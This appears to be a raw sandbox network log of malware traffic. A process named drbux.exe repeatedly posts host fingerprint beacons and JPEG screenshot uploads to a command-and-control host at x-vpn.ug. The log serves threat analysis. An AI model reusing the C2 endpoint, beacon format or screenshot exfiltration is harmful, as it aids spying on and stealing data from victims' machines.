Jul 19, 2021 18:36:50.107321024 CEST	19908	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:50.107502937 CEST	19908	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:50.107724905 CEST	19918	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:50.107856989 CEST	19921	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:50.191694975 CEST	19922	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:50.191852093 CEST	19925	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:50.192197084 CEST	19927	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:50.192461014 CEST	19930	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:50.192636967 CEST	19933	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:50.193080902 CEST	19935	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:50.193218946 CEST	19938	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:50.193321943 CEST	19941	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.6	50051	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:50.348901033 CEST	19989	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:50.442783117 CEST	20006	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.6	50052	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:50.902286053 CEST	20008	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:50.982454062 CEST	20008	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.6	50053	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:51.004168987 CEST	20009	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----52695560dce7d77d50bc6214a983b50a Host: x-vpn.ug Content-Length: 97081 Cache-Control: no-cache
Jul 19, 2021 18:36:51.004513025 CEST	20009	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 32 36 39 35 35 36 30 64 63 65 37 64 37 37 64 35 30 62 63 36 32 31 34 61 39 38 33 62 35 30 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------52695560dce7d77d50bc6214a983b50aContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:51.005029917 CEST	20019	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:51.005433083 CEST	20022	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:51.082042933 CEST	20022	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:51.083633900 CEST	20025	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:51.083811998 CEST	20028	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:51.084265947 CEST	20030	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:51.084295988 CEST	20036	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:51.084440947 CEST	20038	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:51.084664106 CEST	20041	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:51.084693909 CEST	20043	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.6	50054	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:51.189872980 CEST	20099	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:51.281867027 CEST	20107	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.6	50056	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:51.502012014 CEST	20108	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----52695560dce7d77d50bc6214a983b50a Host: x-vpn.ug Content-Length: 97081 Cache-Control: no-cache
Jul 19, 2021 18:36:51.502257109 CEST	20108	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 32 36 39 35 35 36 30 64 63 65 37 64 37 37 64 35 30 62 63 36 32 31 34 61 39 38 33 62 35 30 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------52695560dce7d77d50bc6214a983b50aContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:51.502644062 CEST	20118	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:51.502903938 CEST	20121	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:51.594427109 CEST	20122	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:51.594589949 CEST	20125	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:51.595422029 CEST	20133	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:51.595592976 CEST	20135	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
